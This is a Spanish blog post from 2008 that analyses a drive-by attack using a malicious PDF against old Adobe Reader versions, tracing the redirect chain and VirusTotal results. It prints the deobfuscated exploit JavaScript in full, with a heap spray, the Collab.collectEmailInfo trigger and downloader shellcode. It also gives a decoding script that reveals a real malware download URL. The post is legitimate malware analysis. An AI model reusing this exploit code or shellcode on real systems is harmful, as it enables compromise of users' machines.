noviembre 13, 2008

Explotando Adobe Reader

A continuación un breve análisis de como explotan una vulnerabilidad, un poco vieja, en Adobe Reader <8.1.2 o 7.1.0:
Andaba yo navegando y de pronto se me abre el lector de pdfs así que lanzo el wireshark a ver de donde sale el asunto:
Una petición a un dominio chino que lanza un frame con una nueva página:
http://vxhost.cn/counter/in.cgi?default
<html><frameset rows="100%"><frame src="http://mmcounter.com/in.cgi?id122"></frameset></html>


Esta a su vez redige a otra página donde se lanza el pdf malicioso:
http://mmcounter.com/in.cgi?id122 -> http://big.ff-freehosting.com/vip/


Pasandolo por VirusTotal: c7d65e71766c2621f9abc2a7fecfc0fe vemos que está clasificado como exploit para PDF:
File test.pdf received on 11.12.2008 21:03:46 (CET)
AntivirusVersionLast UpdateResult
AntiVir7.9.0.312008.11.12JS/Dldr.Small.CR.2
BitDefender7.22008.11.12Trojan.JS.Downloader.BGI
DrWeb4.44.0.091702008.11.12Exploit.PDF.4
F-Secure8.0.14332.02008.11.12Exploit.JS.Pdfka.w
GData192008.11.12Trojan.JS.Downloader.BGI
IkarusT3.1.1.45.02008.11.12Exploit.Win32.Pdfjsc.G
McAfee54312008.11.12Exploit-PDF.c
Microsoft1.41042008.11.12Exploit:Win32/Pdfjsc.G
SecureWeb-Gateway6.7.62008.11.12Script.Dldr.Small.CR.2
Sophos4.35.02008.11.12Mal/PDFEx-B
Symantec102008.11.12Bloodhound.Exploit.196
 
Additional information
File size: 2815 bytes
MD5...: c7d65e71766c2621f9abc2a7fecfc0fe
SHA1..: ebf61c8cc4a9fa0aeb8fba48a2a52e5da1ba1dc0
SHA256: 7100941305502e5f055fa7f68718090817eb0e98388f1d0dc3807a16cfd63b51
SHA512: 4698352526f0d78b306f0ac62246108d2c72be9e765dcd7e7f6e4aa301146599
966dbfad0c628cc2c5d004633b195088e2c49a38e01b91defc7ad4177eb03ab3
PEiD..: -
TrID..: File type identification
Adobe Portable Document Format (100.0%)
PEInfo: -


Vamos a echarle un vistazo a las tripas, y abriendo el archivo nos encontramos que lanza una función Javascript:
%PDF-1.3
%âãÏÓ
1 0 obj
<</OpenAction <</JS (this.IMHUDl0\(\))
/S /JavaScript
>>
...

13 0 obj
<</Filter /FlateDecode
/Length 1247
>>
stream
...


Y que el resto de código debe andar dentro de los streams, FlateDecode implica compresion zlib, así que extrayendo el contenido y renombrando las variables para hacerlo legible:
function main() {    
var narray = new Array();
function func1(param1, param2) {
while (param1.length*2 < param2) {
param1 += param1;
}
param1 = param1.substring(0,param2/2);
return param1;
}

function func2() {
var pos1 = 0x0c0c0c0c;
var packed = unescape("%u4343%u4343%u4343%u0FEB%u335B%u66C9%u80B9%u8001%uEF33%uE243%uEBFA%uE805
%uFFEC%uFFFF%u8B7F%uDF4E%uEFEF%u64EF%uE3AF%u9F64%u42F3%u9F64%u6EE7%uEF03%uEFEB%u64EF%uB903%u6187%uE1A1%u0703%uEF11%uEFEF
%uAA66%uB9EB%u7787%u6511%u07E1%uEF1F%uEFEF%uAA66%uB9E7%uCA87%u105F%u072D%uEF0D%uEFEF%uAA66%uB9E3%u0087%u0F21%u078F%uEF3B
%uEFEF%uAA66%uB9FF%u2E87%u0A96%u0757%uEF29%uEFEF%uAA66%uAFFB%uD76F%u9A2C%u6615%uF7AA%uE806%uEFEE%uB1EF%u9A66%u64CB%uEBAA
%uEE85%u64B6%uF7BA%u07B9%uEF64%uEFEF%u87BF%uF5D9%u9FC0%u7807%uEFEF%u66EF%uF3AA%u2A64%u2F6C%u66BF%uCFAA%u1087%uEFEF%uBFEF
%uAA64%u85FB%uB6ED%uBA64%u07F7%uEF8E%uEFEF%uAAEC%u28CF%uB3EF%uC191%u288A%uEBAF%u8A97%uEFEF%u9A10%u64CF%uE3AA%uEE85%u64B6
%uF7BA%uAF07%uEFEF%u85EF%uB7E8%uAAEC%uDCCB%uBC34%u10BC%uCF9A%uBCBF%uAA64%u85F3%uB6EA%uBA64%u07F7%uEFCC%uEFEF%uEF85%u9A10
%u64CF%uE7AA%uED85%u64B6%uF7BA%uFF07%uEFEF%u85EF%u6410%uFFAA%uEE85%u64B6%uF7BA%uEF07%uEFEF%uAEEF%uBDB4%u0EEC%u0EEC%u0EEC
%u0EEC%u036C%uB5EB%u64BC%u0D35%uBD18%u0F10%u64BA%u6403%uE792%uB264%uB9E3%u9C64%u64D3%uF19B%uEC97%uB91C%u9964%uECCF%uDC1C
%uA626%u42AE%u2CEC%uDCB9%uE019%uFF51%u1DD5%uE79B%u212E%uECE2%uAF1D%u1E04%u11D4%u9AB1%uB50A%u0464%uB564%uECCB%u8932%uE364
%u64A4%uF3B5%u32EC%uEB64%uEC64%uB12A%u2DB2%uEFE7%u1B07%u1011%uBA10%uA3BD%uA0A2%uEFA1%u7468%u7074%u2F3A%u622F%u6769%u662E
%u2D66%u7266%u6565%u6F68%u7473%u6E69%u2E67%u6F63%u2F6D%u6976%u2F70%u6F6C%u6461%u702E%u7068%u693F%u3D64%u3036%u3333%u2635
%u7073%u3D6C%u0034");
var ini = 0x400000;
var packed2 = packed.length * 2;
var param2 = ini - (packed2+0x38);
var param1 = unescape("%u9090%u9090");
param1 = func1(param1, param2);
var pasos = (pos1 - 0x400000)/ini;

for (var i=0;i<pasos;i++) {
narray[i] = param1 + packed;
}
}

function func3() {
var version = app.viewerVersion.toString();
version = version.replace(/\D/g,"");
var vnum = new Array(version.charAt(0),version.charAt(1),version.charA
t(2));
if ((vnum[0] == 8 &&
((vnum[1] == 1 && vnum[2] < 2) || vnum[1] < 1)) ||
(vnum[0] == 7 && vnum[1] < 1) ||
(vnum[0] < 7)) {
func2();
var salto = unescape("%u0c0c%u0c0c");
while(salto.length < 44952) salto += salto;
this.collabStore = Collab.collectEmailInfo({subj: "",msg: salto});
}
}
func3();
}


Si nos fijamos en la func3 vemos que comprueba que la versión del programa sea lo que comentabamos al principio <8.1.2 o 7.1.0 o <7, despues ejecuta la func2 que rellena la memoria con un array donde varias veces pone el mismo contenido, cada uno de los cuales tiene al final lo que hay en la variable packed, que obviamente será el shellcode. Para llegar a lanzar el shellcode explota la función Collab.collectEmailInfo que al reventar acabará ejecutando el shellcode.

Descompilando el shellcode sale el código, que a grandes rasgos se trata de un downloader, que posteriormente ejecutará el archivo descargado, al final encontramos la url de descarga:
#!env python
# -*- coding: utf-8 -*-

buffer = ''
bin="""%u4343%u4343%u4343%u0FEB%u335B%u66C9%u80B9%u8001%uEF33%uE243%uEBFA%uE805%uFFEC%uFFFF%u8B7F%uDF4E%uEFEF%u64EF%uE3AF%u9F64%u42F3%u9F64%u6EE7%uEF03%uEFEB%u64EF%uB903%u6187%uE1A1%u0703%uEF11%uEFEF%uAA66%uB9EB%u7787%u6511%u07E1%uEF1F%uEFEF%uAA66%uB9E7%uCA87%u105F%u072D%uEF0D%uEFEF%uAA66%uB9E3%u0087%u0F21%u078F%uEF3B%uEFEF%uAA66%uB9FF%u2E87%u0A96%u0757%uEF29%uEFEF%uAA66%uAFFB%uD76F%u9A2C%u6615%uF7AA%uE806%uEFEE%uB1EF%u9A66%u64CB%uEBAA%uEE85%u64B6%uF7BA%u07B9%uEF64%uEFEF%u87BF%uF5D9%u9FC0%u7807%uEFEF%u66EF%uF3AA%u2A64%u2F6C%u66BF%uCFAA%u1087%uEFEF%uBFEF%uAA64%u85FB%uB6ED%uBA64%u07F7%uEF8E%uEFEF%uAAEC%u28CF%uB3EF%uC191%u288A%uEBAF%u8A97%uEFEF%u9A10%u64CF%uE3AA%uEE85%u64B6%uF7BA%uAF07%uEFEF%u85EF%uB7E8%uAAEC%uDCCB%uBC34%u10BC%uCF9A%uBCBF%uAA64%u85F3%uB6EA%uBA64%u07F7%uEFCC%uEFEF%uEF85%u9A10%u64CF%uE7AA%uED85%u64B6%uF7BA%uFF07%uEFEF%u85EF%u6410%uFFAA%uEE85%u64B6%uF7BA%uEF07%uEFEF%uAEEF%uBDB4%u0EEC%u0EEC%u0EEC%u0EEC%u036C%uB5EB%u64BC%u0D35%uBD18%u0F10%u64BA%u6403%uE792%uB264%uB9E3%u9C64%u64D3%uF19B%uEC97%uB91C%u9964%uECCF%uDC1C%uA626%u42AE%u2CEC%uDCB9%uE019%uFF51%u1DD5%uE79B%u212E%uECE2%uAF1D%u1E04%u11D4%u9AB1%uB50A%u0464%uB564%uECCB%u8932%uE364%u64A4%uF3B5%u32EC%uEB64%uEC64%uB12A%u2DB2%uEFE7%u1B07%u1011%uBA10%uA3BD%uA0A2%uEFA1%u7468%u7074%u2F3A%u622F%u6769%u662E%u2D66%u7266%u6565%u6F68%u7473%u6E69%u2E67%u6F63%u2F6D%u6976%u2F70%u6F6C%u6461%u702E%u7068%u693F%u3D64%u3036%u3333%u2635%u7073%u3D6C%u0034"""
for x in bin.split('%u')[1:]: buffer+=chr(int(x[2:],16))+chr(int(x[:2],16))
open('bin','wb').write(buffer)

http://big.ff-freehosting.com/vip/load.php?id=60335&spl=4


Por último podemos echarle un vistazo al archivo que se descarga pasandolo por VT: b653f2680b4a67b1558800d1e41b40fa
File exes.off received on 11.12.2008 23:49:41 (CET)
AntivirusVersionLast UpdateResult
BitDefender7.22008.11.12Trojan.FakeAlert.ANE
eSafe7.0.17.02008.11.12Suspicious File
F-Secure8.0.14332.02008.11.12Suspicious:W32/Malware!Gemini
GData192008.11.12Trojan.FakeAlert.ANE
McAfee54312008.11.12Generic FakeAlert.d
Microsoft1.41042008.11.12Trojan:Win32/Wantvi.I
Prevx1V22008.11.12Malicious Software
Sophos4.35.02008.11.12Mal/EncPk-EQ
 
Additional information
File size: 45056 bytes
MD5...: b653f2680b4a67b1558800d1e41b40fa
SHA1..: c0963db7faf2a7770cf0c3f793631d5af00ef1df
SHA256: af1b7c4611fed188c9b3624d5566d601601ff9772ce7ef5247d53c4679d55592
SHA512: 699b7e431d50729e5822099d6c6f81b6d5ed7a03292cae38e3c09ffcd670fe9b
a151d962176a1bc61c144d97b0f9c75fb59a155937c67e716729074558cb7fe9
PEiD..: -
TrID..: File type identification
Win32 Executable MS Visual C++ (generic) (65.2%)
Win32 Executable Generic (14.7%)
Win32 Dynamic Link Library (generic) (13.1%)
Generic Win/DOS Executable (3.4%)
DOS Executable Generic (3.4%)
PEInfo: PE Structure information

( base data )
entrypointaddress.: 0x401008
timedatestamp.....: 0x0 (Thu Jan 01 00:00:00 1970)
machinetype.......: 0x14c (I386)

( 3 sections )
name viradd virsiz rawdsiz ntrpy md5
.text 0x1000 0x1000 0x200 5.81 6998d4b76cb5eaa5be06d0f5108c3df7
.data 0x2000 0xc000 0xa600 7.94 7adbc7d2428f12e6c14e16d54416832d
.xdata 0xe000 0x4000 0x200 0.00 bf619eac0cdf3f68d496ea9344137e8b

( 3 imports )
> KERNEL32.DLL: BackupWrite, CloseProfileUserMapping, CreateNamedPipeW, DebugBreak, DeleteFiber, EnterCriticalSection, EnumDateFormatsExW, ExitProcess, GetDefaultCommConfigW, GetDiskFreeSpaceExA, GetLastError, GetPrivateProfileStringW, GetProcessAffinityMask, GetStringTypeExW, GetSystemTimeAsFileTime, GetTempFileNameW, GlobalReAlloc, LockResource, Module32Next, MultiByteToWideChar, ReadConsoleA, ResetEvent, SetFileAttributesA, SuspendThread, WriteConsoleA, WriteProfileSectionA, _lread, lstrlenW
> USER32.DLL: AnyPopup, CallMsgFilterA, CreateWindowExW, DdeCmpStringHandles, DefWindowProcA, DialogBoxIndirectParamA, DrawMenuBar, EmptyClipboard, EnumDesktopsW, EnumWindows, FindWindowExA, GetLastActivePopup, GetMessageExtraInfo, GetMonitorInfoA, GetParent, IMPGetIMEW, IsCharAlphaA, IsCharUpperW, LoadIconW, MessageBoxA, MoveWindow, OemKeyScan, OpenWindowStationW, SetDebugErrorLevel, SetMenuContextHelpId, SetSysColorsTemp, SetWinEventHook, SetWindowContextHelpId, SetWindowPos, WindowFromDC
> GDI32.DLL: CreateBrushIndirect, CreateDCA, CreateDIBPatternBrush, FillPath, FlattenPath, GetBkColor, GetCharABCWidthsW, GetCurrentPositionEx, GetGlyphOutlineA, GetRasterizerCaps, GetTextExtentPoint32A, GetWindowExtEx, LineDDA, PatBlt, PolyPolyline, SetAbortProc, SetBitmapDimensionEx, SetDIBColorTable, SetGraphicsMode, SetMapMode, SetMetaRgn, SetMiterLimit, SetStretchBltMode, SetWinMetaFileBits, StartDocW

( 0 exports )
Prevx info: http://info.prevx.com/aboutprogramtext.asp?PX5=9571524D0052B61FB09B00F1182C01000929AF19

comentarios:

David dijo...

despues ejecuta la func2 que rellena la memoria con un array donde varias veces pone el mismo contenido...

Creo que intenta hacer esto